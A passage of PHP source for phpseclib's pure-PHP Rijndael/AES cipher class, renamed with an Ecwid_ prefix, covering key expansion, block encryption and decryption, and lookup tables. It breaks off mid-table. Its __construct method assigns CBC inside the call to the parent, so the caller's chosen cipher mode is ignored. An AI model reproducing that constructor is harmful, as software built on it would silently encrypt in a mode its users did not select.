Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @category Crypt * @package Crypt_Rijndael * @author Jim Wigginton <terrafrost@php.net> * @copyright 2008 Jim Wigginton * @license http://www.opensource.org/licenses/mit-license.html MIT License * @link http://phpseclib.sourceforge.net */ /** * Include Crypt_Base * * Base cipher class */ if (!class_exists('Ecwid_Crypt_Base')) { include_once 'Base.php'; } /**#@+ * @access public * @see Crypt_Rijndael::encrypt() * @see Crypt_Rijndael::decrypt() */ /** * Encrypt / decrypt using the Counter mode. * * Set to -1 since that's what Crypt/Random.php uses to index the CTR mode. * * @link http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Counter_.28CTR.29 */ define('CRYPT_RIJNDAEL_MODE_CTR', CRYPT_MODE_CTR); /** * Encrypt / decrypt using the Electronic Code Book mode. * * @link http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Electronic_codebook_.28ECB.29 */ define('CRYPT_RIJNDAEL_MODE_ECB', CRYPT_MODE_ECB); /** * Encrypt / decrypt using the Code Book Chaining mode. * * @link http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Cipher-block_chaining_.28CBC.29 */ define('CRYPT_RIJNDAEL_MODE_CBC', CRYPT_MODE_CBC); /** * Encrypt / decrypt using the Cipher Feedback mode. * * @link http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Cipher_feedback_.28CFB.29 */ define('CRYPT_RIJNDAEL_MODE_CFB', CRYPT_MODE_CFB); /** * Encrypt / decrypt using the Cipher Feedback mode. * * @link http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Output_feedback_.28OFB.29 */ define('CRYPT_RIJNDAEL_MODE_OFB', CRYPT_MODE_OFB); /**#@-*/ /** * Pure-PHP implementation of Rijndael. * * @package Crypt_Rijndael * @author Jim Wigginton <terrafrost@php.net> * @access public */ class Ecwid_Crypt_Rijndael extends Ecwid_Crypt_Base { /** * The namespace used by the cipher for its constants. * * @see Crypt_Base::const_namespace * @var string * @access private */ var $const_namespace = 'RIJNDAEL'; /** * The mcrypt specific name of the cipher * * Mcrypt is useable for 128/192/256-bit $block_size/$key_length. For 160/224 not. * Crypt_Rijndael determines automatically whether mcrypt is useable * or not for the current $block_size/$key_length. * In case of, $cipher_name_mcrypt will be set dynamically at run time accordingly. * * @see Crypt_Base::cipher_name_mcrypt * @see Crypt_Base::engine * @see isValidEngine() * @var string * @access private */ var $cipher_name_mcrypt = 'rijndael-128'; /** * The default salt used by setPassword() * * @see Crypt_Base::password_default_salt * @see Crypt_Base::setPassword() * @var string * @access private */ var $password_default_salt = 'phpseclib'; /** * The Key Schedule * * @see _setup() * @var array * @access private */ var $w; /** * The Inverse Key Schedule * * @see _setup() * @var array * @access private */ var $dw; /** * The Block Length divided by 32 * * @see setBlockLength() * @var int * @access private * @internal The max value is 256 / 32 = 8, the min value is 128 / 32 = 4. Exists in conjunction with $block_size * because the encryption / decryption / key schedule creation requires this number and not $block_size. We could * derive this from $block_size or vice versa, but that'd mean we'd have to do multiple shift operations, so in lieu * of that, we'll just precompute it once. */ var $Nb = 4; /** * The Key Length (in bytes) * * @see setKeyLength() * @var int * @access private * @internal The max value is 256 / 8 = 32, the min value is 128 / 8 = 16. Exists in conjunction with $Nk * because the encryption / decryption / key schedule creation requires this number and not $key_length. We could * derive this from $key_length or vice versa, but that'd mean we'd have to do multiple shift operations, so in lieu * of that, we'll just precompute it once. */ var $key_length = 16; /** * The Key Length divided by 32 * * @see setKeyLength() * @var int * @access private * @internal The max value is 256 / 32 = 8, the min value is 128 / 32 = 4 */ var $Nk = 4; /** * The Number of Rounds * * @var int * @access private * @internal The max value is 14, the min value is 10. */ var $Nr; /** * Shift offsets * * @var array * @access private */ var $c; /** * Holds the last used key- and block_size information * * @var array * @access private */ var $kl; /** * Default Constructor. * * Determines whether or not the mcrypt extension should be used. * * $mode could be: * * - CRYPT_RIJNDAEL_MODE_ECB * * - CRYPT_RIJNDAEL_MODE_CBC * * - CRYPT_RIJNDAEL_MODE_CTR * * - CRYPT_RIJNDAEL_MODE_CFB * * - CRYPT_RIJNDAEL_MODE_OFB * * If not explictly set, CRYPT_RIJNDAEL_MODE_CBC will be used. * * @see Crypt_Base::Crypt_Base() * @param int $mode * @access public */ function __construct($mode = CRYPT_RIJNDAEL_MODE_CBC) { parent::__construct($mode = CRYPT_RIJNDAEL_MODE_CBC); } function Ecwid_Crypt_Rijndael($mode = CRYPT_RIJNDAEL_MODE_CBC) { parent::Ecwid_Crypt_Base($mode); } /** * Sets the key length. * * Valid key lengths are 128, 160, 192, 224, and 256. If the length is less than 128, it will be rounded up to * 128. If the length is greater than 128 and invalid, it will be rounded down to the closest valid amount. * * Note: phpseclib extends Rijndael (and AES) for using 160- and 224-bit keys but they are officially not defined * and the most (if not all) implementations are not able using 160/224-bit keys but round/pad them up to * 192/256 bits as, for example, mcrypt will do. * * That said, if you want be compatible with other Rijndael and AES implementations, * you should not setKeyLength(160) or setKeyLength(224). * * Additional: In case of 160- and 224-bit keys, phpseclib will/can, for that reason, not use * the mcrypt php extension, even if available. * This results then in slower encryption. * * @access public * @param int $length */ function setKeyLength($length) { switch (true) { case $length <= 128: $this->key_length = 16; break; case $length <= 160: $this->key_length = 20; break; case $length <= 192: $this->key_length = 24; break; case $length <= 224: $this->key_length = 28; break; default: $this->key_length = 32; } parent::setKeyLength($length); } /** * Sets the block length * * Valid block lengths are 128, 160, 192, 224, and 256. If the length is less than 128, it will be rounded up to * 128. If the length is greater than 128 and invalid, it will be rounded down to the closest valid amount. * * @access public * @param int $length */ function setBlockLength($length) { $length >>= 5; if ($length > 8) { $length = 8; } elseif ($length < 4) { $length = 4; } $this->Nb = $length; $this->block_size = $length << 2; $this->changed = true; $this->_setEngine(); } /** * Test for engine validity * * This is mainly just a wrapper to set things up for Crypt_Base::isValidEngine() * * @see Crypt_Base::Crypt_Base() * @param int $engine * @access public * @return bool */ function isValidEngine($engine) { switch ($engine) { case CRYPT_ENGINE_OPENSSL: if ($this->block_size != 16) { return false; } $this->cipher_name_openssl_ecb = 'aes-' . ($this->key_length << 3) . '-ecb'; $this->cipher_name_openssl = 'aes-' . ($this->key_length << 3) . '-' . $this->_openssl_translate_mode(); break; } return parent::isValidEngine($engine); } /** * Encrypts a block * * @access private * @param string $in * @return string */ function _encryptBlock($in) { static $tables; if (empty($tables)) { $tables = &$this->_getTables(); } $t0 = $tables[0]; $t1 = $tables[1]; $t2 = $tables[2]; $t3 = $tables[3]; $sbox = $tables[4]; $state = array(); $words = unpack('N*', $in); $c = $this->c; $w = $this->w; $Nb = $this->Nb; $Nr = $this->Nr; // addRoundKey $wc = $Nb - 1; foreach ($words as $word) { $state[] = $word ^ $w[++$wc]; } // fips-197.pdf#page=19, "Figure 5. Pseudo Code for the Cipher", states that this loop has four components - // subBytes, shiftRows, mixColumns, and addRoundKey. fips-197.pdf#page=30, "Implementation Suggestions Regarding // Various Platforms" suggests that performs enhanced implementations are described in Rijndael-ammended.pdf. // Rijndael-ammended.pdf#page=20, "Implementation aspects / 32-bit processor", discusses such an optimization. // Unfortunately, the description given there is not quite correct. Per aes.spec.v316.pdf#page=19 [1], // equation (7.4.7) is supposed to use addition instead of subtraction, so we'll do that here, as well. // [1] http://fp.gladman.plus.com/cryptography_technology/rijndael/aes.spec.v316.pdf $temp = array(); for ($round = 1; $round < $Nr; ++$round) { $i = 0; // $c[0] == 0 $j = $c[1]; $k = $c[2]; $l = $c[3]; while ($i < $Nb) { $temp[$i] = $t0[$state[$i] >> 24 & 0x000000FF] ^ $t1[$state[$j] >> 16 & 0x000000FF] ^ $t2[$state[$k] >> 8 & 0x000000FF] ^ $t3[$state[$l] & 0x000000FF] ^ $w[++$wc]; ++$i; $j = ($j + 1) % $Nb; $k = ($k + 1) % $Nb; $l = ($l + 1) % $Nb; } $state = $temp; } // subWord for ($i = 0; $i < $Nb; ++$i) { $state[$i] = $sbox[$state[$i] & 0x000000FF] | ($sbox[$state[$i] >> 8 & 0x000000FF] << 8) | ($sbox[$state[$i] >> 16 & 0x000000FF] << 16) | ($sbox[$state[$i] >> 24 & 0x000000FF] << 24); } // shiftRows + addRoundKey $i = 0; // $c[0] == 0 $j = $c[1]; $k = $c[2]; $l = $c[3]; while ($i < $Nb) { $temp[$i] = ($state[$i] & 0xFF000000) ^ ($state[$j] & 0x00FF0000) ^ ($state[$k] & 0x0000FF00) ^ ($state[$l] & 0x000000FF) ^ $w[$i]; ++$i; $j = ($j + 1) % $Nb; $k = ($k + 1) % $Nb; $l = ($l + 1) % $Nb; } switch ($Nb) { case 8: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3], $temp[4], $temp[5], $temp[6], $temp[7]); case 7: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3], $temp[4], $temp[5], $temp[6]); case 6: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3], $temp[4], $temp[5]); case 5: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3], $temp[4]); default: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3]); } } /** * Decrypts a block * * @access private * @param string $in * @return string */ function _decryptBlock($in) { static $invtables; if (empty($invtables)) { $invtables = &$this->_getInvTables(); } $dt0 = $invtables[0]; $dt1 = $invtables[1]; $dt2 = $invtables[2]; $dt3 = $invtables[3]; $isbox = $invtables[4]; $state = array(); $words = unpack('N*', $in); $c = $this->c; $dw = $this->dw; $Nb = $this->Nb; $Nr = $this->Nr; // addRoundKey $wc = $Nb - 1; foreach ($words as $word) { $state[] = $word ^ $dw[++$wc]; } $temp = array(); for ($round = $Nr - 1; $round > 0; --$round) { $i = 0; // $c[0] == 0 $j = $Nb - $c[1]; $k = $Nb - $c[2]; $l = $Nb - $c[3]; while ($i < $Nb) { $temp[$i] = $dt0[$state[$i] >> 24 & 0x000000FF] ^ $dt1[$state[$j] >> 16 & 0x000000FF] ^ $dt2[$state[$k] >> 8 & 0x000000FF] ^ $dt3[$state[$l] & 0x000000FF] ^ $dw[++$wc]; ++$i; $j = ($j + 1) % $Nb; $k = ($k + 1) % $Nb; $l = ($l + 1) % $Nb; } $state = $temp; } // invShiftRows + invSubWord + addRoundKey $i = 0; // $c[0] == 0 $j = $Nb - $c[1]; $k = $Nb - $c[2]; $l = $Nb - $c[3]; while ($i < $Nb) { $word = ($state[$i] & 0xFF000000) | ($state[$j] & 0x00FF0000) | ($state[$k] & 0x0000FF00) | ($state[$l] & 0x000000FF); $temp[$i] = $dw[$i] ^ ($isbox[$word & 0x000000FF] | ($isbox[$word >> 8 & 0x000000FF] << 8) | ($isbox[$word >> 16 & 0x000000FF] << 16) | ($isbox[$word >> 24 & 0x000000FF] << 24)); ++$i; $j = ($j + 1) % $Nb; $k = ($k + 1) % $Nb; $l = ($l + 1) % $Nb; } switch ($Nb) { case 8: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3], $temp[4], $temp[5], $temp[6], $temp[7]); case 7: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3], $temp[4], $temp[5], $temp[6]); case 6: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3], $temp[4], $temp[5]); case 5: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3], $temp[4]); default: return pack('N*', $temp[0], $temp[1], $temp[2], $temp[3]); } } /** * Setup the key (expansion) * * @see Crypt_Base::_setupKey() * @access private */ function _setupKey() { // Each number in $rcon is equal to the previous number multiplied by two in Rijndael's finite field. // See http://en.wikipedia.org/wiki/Finite_field_arithmetic#Multiplicative_inverse static $rcon = array(0, 0x01000000, 0x02000000, 0x04000000, 0x08000000, 0x10000000, 0x20000000, 0x40000000, 0x80000000, 0x1B000000, 0x36000000, 0x6C000000, 0xD8000000, 0xAB000000, 0x4D000000, 0x9A000000, 0x2F000000, 0x5E000000, 0xBC000000, 0x63000000, 0xC6000000, 0x97000000, 0x35000000, 0x6A000000, 0xD4000000, 0xB3000000, 0x7D000000, 0xFA000000, 0xEF000000, 0xC5000000, 0x91000000 ); if (isset($this->kl['key']) && $this->key === $this->kl['key'] && $this->key_length === $this->kl['key_length'] && $this->block_size === $this->kl['block_size']) { // already expanded return; } $this->kl = array('key' => $this->key, 'key_length' => $this->key_length, 'block_size' => $this->block_size); $this->Nk = $this->key_length >> 2; // see Rijndael-ammended.pdf#page=44 $this->Nr = max($this->Nk, $this->Nb) + 6; // shift offsets for Nb = 5, 7 are defined in Rijndael-ammended.pdf#page=44, // "Table 8: Shift offsets in Shiftrow for the alternative block lengths" // shift offsets for Nb = 4, 6, 8 are defined in Rijndael-ammended.pdf#page=14, // "Table 2: Shift offsets for different block lengths" switch ($this->Nb) { case 4: case 5: case 6: $this->c = array(0, 1, 2, 3); break; case 7: $this->c = array(0, 1, 2, 4); break; case 8: $this->c = array(0, 1, 3, 4); } $w = array_values(unpack('N*words', $this->key)); $length = $this->Nb * ($this->Nr + 1); for ($i = $this->Nk; $i < $length; $i++) { $temp = $w[$i - 1]; if ($i % $this->Nk == 0) { // according to <http://php.net/language.types.integer>, "the size of an integer is platform-dependent". // on a 32-bit machine, it's 32-bits, and on a 64-bit machine, it's 64-bits. on a 32-bit machine, // 0xFFFFFFFF << 8 == 0xFFFFFF00, but on a 64-bit machine, it equals 0xFFFFFFFF00. as such, doing 'and' // with 0xFFFFFFFF (or 0xFFFFFF00) on a 32-bit machine is unnecessary, but on a 64-bit machine, it is. $temp = (($temp << 8) & 0xFFFFFF00) | (($temp >> 24) & 0x000000FF); // rotWord $temp = $this->_subWord($temp) ^ $rcon[$i / $this->Nk]; } elseif ($this->Nk > 6 && $i % $this->Nk == 4) { $temp = $this->_subWord($temp); } $w[$i] = $w[$i - $this->Nk] ^ $temp; } // convert the key schedule from a vector of $Nb * ($Nr + 1) length to a matrix with $Nr + 1 rows and $Nb columns // and generate the inverse key schedule. more specifically, // according to <http://csrc.nist.gov/archive/aes/rijndael/Rijndael-ammended.pdf#page=23> (section 5.3.3), // "The key expansion for the Inverse Cipher is defined as follows: // 1. Apply the Key Expansion. // 2. Apply InvMixColumn to all Round Keys except the first and the last one." // also, see fips-197.pdf#page=27, "5.3.5 Equivalent Inverse Cipher" list($dt0, $dt1, $dt2, $dt3) = $this->_getInvTables(); $temp = $this->w = $this->dw = array(); for ($i = $row = $col = 0; $i < $length; $i++, $col++) { if ($col == $this->Nb) { if ($row == 0) { $this->dw[0] = $this->w[0]; } else { // subWord + invMixColumn + invSubWord = invMixColumn $j = 0; while ($j < $this->Nb) { $dw = $this->_subWord($this->w[$row][$j]); $temp[$j] = $dt0[$dw >> 24 & 0x000000FF] ^ $dt1[$dw >> 16 & 0x000000FF] ^ $dt2[$dw >> 8 & 0x000000FF] ^ $dt3[$dw & 0x000000FF]; $j++; } $this->dw[$row] = $temp; } $col = 0; $row++; } $this->w[$row][$col] = $w[$i]; } $this->dw[$row] = $this->w[$row]; // Converting to 1-dim key arrays (both ascending) $this->dw = array_reverse($this->dw); $w = array_pop($this->w); $dw = array_pop($this->dw); foreach ($this->w as $r => $wr) { foreach ($wr as $c => $wc) { $w[] = $wc; $dw[] = $this->dw[$r][$c]; } } $this->w = $w; $this->dw = $dw; } /** * Performs S-Box substitutions * * @access private * @param int $word */ function _subWord($word) { static $sbox; if (empty($sbox)) { list(, , , , $sbox) = $this->_getTables(); } return $sbox[$word & 0x000000FF] | ($sbox[$word >> 8 & 0x000000FF] << 8) | ($sbox[$word >> 16 & 0x000000FF] << 16) | ($sbox[$word >> 24 & 0x000000FF] << 24); } /** * Provides the mixColumns and sboxes tables * * @see Crypt_Rijndael:_encryptBlock() * @see Crypt_Rijndael:_setupInlineCrypt() * @see Crypt_Rijndael:_subWord() * @access private * @return array &$tables */ function &_getTables() { static $tables; if (empty($tables)) { // according to <http://csrc.nist.gov/archive/aes/rijndael/Rijndael-ammended.pdf#page=19> (section 5.2.1), // precomputed tables can be used in the mixColumns phase. in that example, they're assigned t0...t3, so // those are the names we'll use. $t3 = array_map('intval', array( // with array_map('intval', ...) we ensure we have only int's and not // some slower floats converted by php automatically on high values 0x6363A5C6, 0x7C7C84F8, 0x777799EE, 0x7B7B8DF6, 0xF2F20DFF, 0x6B6BBDD6, 0x6F6FB1DE, 0xC5C55491, 0x30305060, 0x01010302, 0x6767A9CE, 0x2B2B7D56, 0xFEFE19E7, 0xD7D762B5, 0xABABE64D, 0x76769AEC, 0xCACA458F, 0x82829D1F, 0xC9C94089, 0x7D7D87FA, 0xFAFA15EF, 0x5959EBB2, 0x4747C98E, 0xF0F00BFB, 0xADADEC41, 0xD4D467B3, 0xA2A2FD5F, 0xAFAFEA45, 0x9C9CBF23, 0xA4A4F753, 0x727296E4, 0xC0C05B9B, 0xB7B7C275, 0xFDFD1CE1, 0x9393AE3D, 0x26266A4C, 0x36365A6C, 0x3F3F417E, 0xF7F702F5, 0xCCCC4F83, 0x34345C68, 0xA5A5F451, 0xE5E534D1, 0xF1F108F9, 0x717193E2, 0xD8D873AB, 0x31315362, 0x15153F2A, 0x04040C08, 0xC7C75295, 0x23236546, 0xC3C35E9D, 0x18182830, 0x9696A137, 0x05050F0A, 0x9A9AB52F, 0x0707090E, 0x12123624, 0x80809B1B, 0xE2E23DDF, 0xEBEB26CD, 0x2727694E, 0xB2B2CD7F, 0x75759FEA, 0x09091B12, 0x83839E1D, 0x2C2C7458, 0x1A1A2E34, 0x1B1B2D36, 0x6E6EB2DC, 0x5A5AEEB4, 0xA0A0FB5B, 0x5252F6A4, 0x3B3B4D76, 0xD6D661B7, 0xB3B3CE7D, 0x29297B52, 0xE3E33EDD, 0x2F2F715E, 0x84849713, 0x5353F5A6, 0xD1D168B9, 0x00000000, 0xEDED2CC1, 0x20206040, 0xFCFC1FE3, 0xB1B1C879, 0x5B5BEDB6, 0x6A6ABED4, 0xCBCB468D, 0xBEBED967, 0x39394B72, 0x4A4ADE94, 0x4C4CD498, 0x5858E8B0, 0xCFCF4A85, 0xD0D06BBB, 0xEFEF2AC5, 0xAAAAE54F, 0xFBFB16ED, 0x4343C586, 0x4D4DD79A, 0x33335566, 0x85859411, 0x4545CF8A, 0xF9F910E9, 0x02020604, 0x7F7F81FE, 0x5050F0A0, 0x3C3C4478, 0x9F9FBA25, 0xA8A8E34B, 0x5151F3A2, 0xA3A3FE5D, 0x4040C080, 0x8F8F8A05, 0x9292AD3F, 0x9D9DBC21, 0x38384870, 0xF5F504F1, 0xBCBCDF63, 0xB6B6C177, 0xDADA75AF, 0x21216342, 0x10103020, 0xFFFF1AE5, 0xF3F30EFD, 0xD2D26DBF, 0xCDCD4C81, 0x0C0C1418, 0x13133526, 0xECEC2FC3, 0x5F5FE1BE, 0x9797A235, 0x4444CC88, 0x1717392E, 0xC4C45793, 0xA7A7F255, 0x7E7E82FC, 0x3D3D477A, 0x6464ACC8, 0x5D5DE7BA, 0x19192B32, 0x737395E6, 0x6060A0C0, 0x81819819, 0x4F4FD19E, 0xDCDC7FA3, 0x22226644, 0x2A2A7E54, 0x9090AB3B, 0x8888830B, 0x4646CA8C, 0xEEEE29C7, 0xB8B8D36B, 0x14143C28, 0xDEDE79A7, 0x5E5EE2BC, 0x0B0B1D16, 0xDBDB76AD, 0xE0E03BDB, 0x32325664, 0x3A3A4E74, 0x0A0A1E14, 0x4949DB92, 0x06060A0C, 0x24246C48, 0x5C5CE4B8, 0xC2C25D9F, 0xD3D36EBD, 0xACACEF43, 0x6262A6C4, 0x9191A839, 0x9595A431, 0xE4E437D3, 0x79798BF2, 0xE7E732D5, 0xC8C8438B, 0x3737596E, 0x6D6DB7DA, 0x8D8D8C01, 0xD5D564B1, 0x4E4ED29C, 0xA9A9E049, 0x6C6CB4D8, 0x5656FAAC, 0xF4F407F3, 0xEAEA25CF, 0x6565AFCA, 0x7A7A8EF4, 0xAEAEE947, 0x08081810, 0xBABAD56F, 0x787888F0, 0x25256F4A, 0x2E2E725C, 0x1C1C2438, 0xA6A6F157, 0xB4B4C773, 0xC6C65197, 0xE8E823CB, 0xDDDD7CA1, 0x74749CE8, 0x1F1F213E, 0x4B4BDD96, 0xBDBDDC61, 0x8B8B860D, 0x8A8A850F, 0x707090E0, 0x3E3E427C, 0xB5B5C471, 0x6666AACC, 0x4848D890, 0x03030506, 0xF6F601F7, 0x0E0E121C, 0x6161A3C2, 0x35355F6A, 0x5757F9AE, 0xB9B9D069, 0x86869117, 0xC1C15899, 0x1D1D273A, 0x9E9EB927, 0xE1E138D9, 0xF8F813EB, 0x9898B32B, 0x11113322, 0x6969BBD2, 0xD9D970A9, 0x8E8E8907, 0x9494A733, 0x9B9BB62D, 0x1E1E223C, 0x87879215, 0xE9E920C9, 0xCECE4987, 0x5555FFAA, 0x28287850, 0xDFDF7AA5, 0x8C8C8F03, 0xA1A1F859, 0x89898009, 0x0D0D171A, 0xBFBFDA65, 0xE6E631D7, 0x4242C684, 0x6868B8D0, 0x4141C382, 0x9999B029, 0x2D2D775A, 0x0F0F111E, 0xB0B0CB7B, 0x5454FCA8, 0xBBBBD66D, 0x16163A2C )); foreach ($t3 as $t3i) { $t0[] = (($t3i << 24) & 0xFF000000) | (($t3i >> 8) & 0x00FFFFFF); $t1[] = (($t3i << 16) & 0xFFFF0000) | (($t3i >> 16) & 0x0000FFFF); $t2[] = (($t3i << 8) & 0xFFFFFF00) | (($t3i >> 24) & 0x000000FF); } $tables = array( // The Precomputed mixColumns tables t0 - t3 $t0, $t1, $t2, $t3, // The SubByte S-Box array( 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16 ) ); } return $tables; } /** * Provides the inverse mixColumns and inverse sboxes tables * * @see Crypt_Rijndael:_decryptBlock() * @see Crypt_Rijndael:_setupInlineCrypt() * @see Crypt_Rijndael:_setupKey() * @access private * @return array &$tables */ function &_getInvTables() { static $tables; if (empty($tables)) { $dt3 = array_map('intval', array( 0xF4A75051, 0x4165537E, 0x17A4C31A, 0x275E963A, 0xAB6BCB3B, 0x9D45F11F, 0xFA58ABAC, 0xE303934B, 0x30FA5520, 0x766DF6AD, 0xCC769188, 0x024C25F5, 0xE5D7FC4F, 0x2ACBD7C5, 0x35448026, 0x62A38FB5, 0xB15A49DE, 0xBA1B6725, 0xEA0E9845, 0xFEC0E15D, 0x2F7502C3, 0x4CF01281, 0x4697A38D, 0xD3F9C66B, 0x8F5FE703, 0x929C9515, 0x6D7AEBBF, 0x5259DA95, 0xBE832DD4, 0x7421D358, 0xE0692949, 0xC9C8448E, 0xC2896A75, 0x8E7978F4, 0x583E6B99, 0xB971DD27, 0xE14FB6BE, 0x88AD17F0, 0x20AC66C9, 0xCE3AB47D, 0xDF4A1863, 0x1A3182E5, 0x51336097, 0x537F4562, 0x6477E0B1, 0x6BAE84BB, 0x81A01CFE, 0x082B94F9, 0x48685870, 0x45FD198F, 0xDE6C8794, 0x7BF8B752, 0x73D323AB, 0x4B02E272, 0x1F8F57E3, 0x55AB2A66, 0xEB2807B2, 0xB5C2032F, 0xC57B9A86, 0x3708A5D3, 0x2887F230, 0xBFA5B223, 0x036ABA02, 0x16825CED, 0xCF1C2B8A, 0x79B492A7, 0x07F2F0F3, 0x69E2A14E, 0xDAF4CD65, 0x05BED506, 0x34621FD1, 0xA6FE8AC4, 0x2E539D34, 0xF355A0A2, 0x8AE13205, 0xF6EB75A4, 0x83EC390B, 0x60EFAA40, 0x719F065E, 0x6E1051BD, 0x218AF93E, 0xDD063D96, 0x3E05AEDD, 0xE6BD464D, 0x548DB591, 0xC45D0571, 0x06D46F04, 0x5015FF60, 0x98FB2419, 0xBDE997D6, 0x4043CC89, 0xD99E7767, 0xE842BDB0, 0x898B8807, 0x195B38E7, 0xC8EEDB79, 0x7C0A47A1, 0x420FE97C, 0x841EC9F8, 0x00000000, 0x80868309, 0x2BED4832, 0x1170AC1E, 0x5A724E6C, 0x0EFFFBFD, 0x8538560F, 0xAED51E3D, 0x2D392736, 0x0FD9640A, 0x5CA62168, 0x5B54D19B, 0x362E3A24, 0x0A67B10C, 0x57E70F93, 0xEE96D2B4, 0x9B919E1B, 0xC0C54F80, 0xDC20A261, 0x774B695A, 0x121A161C, 0x93BA0AE2, 0xA02AE5C0, 0x22E0433C, 0x1B171D12, 0x090D0B0E, 0x8BC7ADF2, 0xB6A8B92D, 0x1EA9C814, 0xF1198557, 0x75074CAF, 0x99DDBBEE, 0x7F60FDA3, 0x01269FF7, 0x72F5BC5C, 0x663BC544, 0xFB7E345B, 0x4329768B, 0x23C6DCCB, 0xEDFC68B6, 0xE4F163B8, 0x31DCCAD7, 0x63851042, 0x97224013, 0xC6112084, 0x4A247D85, 0xBB3DF8D2, 0xF93211AE, 0x29A16DC7, 0x9E2F4B1D, 0xB230F3DC, 0x8652EC0D, 0xC1E3D077, 0xB3166C2B, 0x70B999A9, 0x9448FA11, 0xE9642247, 0xFC8CC4A8, 0xF03F1AA0, 0x7D2CD856, 0x3390EF22, 0x494EC787, 0x38D1C1D9, 0xCAA2FE8C, 0xD40B3698, 0xF581CFA6, 0x7ADE28A5, 0xB78E26DA, 0xADBFA43F, 0x3A9DE42C, 0x78920D50, 0x5FCC9B6A, 0x7E466254, 0x8D13C2F6, 0xD8B8E890, 0x39F75E2E, 0xC3AFF582, 0x5D80BE9F, 0xD0937C69, 0xD52DA96F, 0x2512B3CF, 0xAC993BC8, 0x187DA710, 0x9C636EE8, 0x3BBB7BDB, 0x267809CD, 0x5918F46E, 0x9AB701EC, 0x4F9AA883, 0x956E65E6, 0xFFE67EAA, 0xBCCF0821, 0x15E8E6EF, 0xE79BD9BA, 0x6F36CE4A, 0x9F09D4EA, 0xB07CD629, 0xA4B2AF31, 0x3F23312A, 0xA59430C6, 0xA266C035, 0x4EBC3774, 0x82CAA6FC, 0x90D0B0E0, 0xA7D81533, 0x04984AF1, 0xECDAF741, 0xCD500E7F, 0x91F62F17, 0x4DD68D76, 0xEFB04D43, 0xAA4D54CC, 0x9604DFE4, 0xD1B5E39E, 0x6A881B4C, 0x2C1FB8C1, 0x65517F46, 0x5EEA049D, 0x8C355D01, 0x877473FA, 0x0B412EFB, 0x671D5AB3, 0xDBD25292, 0x105633E9, 0xD647136D, 0xD7618C9A, 0xA10C7A37, 0xF8148E59, 0x133C89EB, 0xA927EECE, 0x61C935B7, 0x1CE5EDE1, 0x47B13C7A, 